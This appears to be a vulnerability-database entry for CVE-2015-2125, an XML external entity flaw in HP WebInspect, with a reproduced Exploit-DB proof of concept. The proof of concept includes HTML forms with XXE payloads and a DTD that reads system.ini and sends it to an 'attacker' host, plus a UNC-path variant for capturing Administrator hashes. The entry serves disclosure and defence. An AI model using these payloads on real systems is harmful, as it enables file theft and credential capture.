CVE-2015-2125

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Published 2015-06-07 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

Unspecified vulnerability in HP WebInspect 7.x through 10.4 before 10.4 update 1 allows remote authenticated users to bypass intended access restrictions via unknown vectors.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37250 webapps xml text · 2 KB

Jakub Palaczynski · 2015-06-10

HP WebInspect 10.4 - XML External Entity Injection

text exploit Source: Exploit-DB

# Exploit Title: HP WebInspect - XML External Entity
# Date: 23\04\2015
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.hp.com/
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x
# CVE : CVE-2015-2125

1. Create website that exploits vulnerability.

1.1. Website that steals files using OOB technique:
1.1.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker/?p=%payl;'>">

1.2. Website that steals hashes of Administrator user:
1.2.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.2.2. Attacker needs to start tool on the server that captures hashes.

2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.

Application impact

Vendor	Product	Versions	Fixed
hp	webinspect	`{"startIncluding":"7.8","endIncluding":"10.4"}`

References

CWEs

CWE-611

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.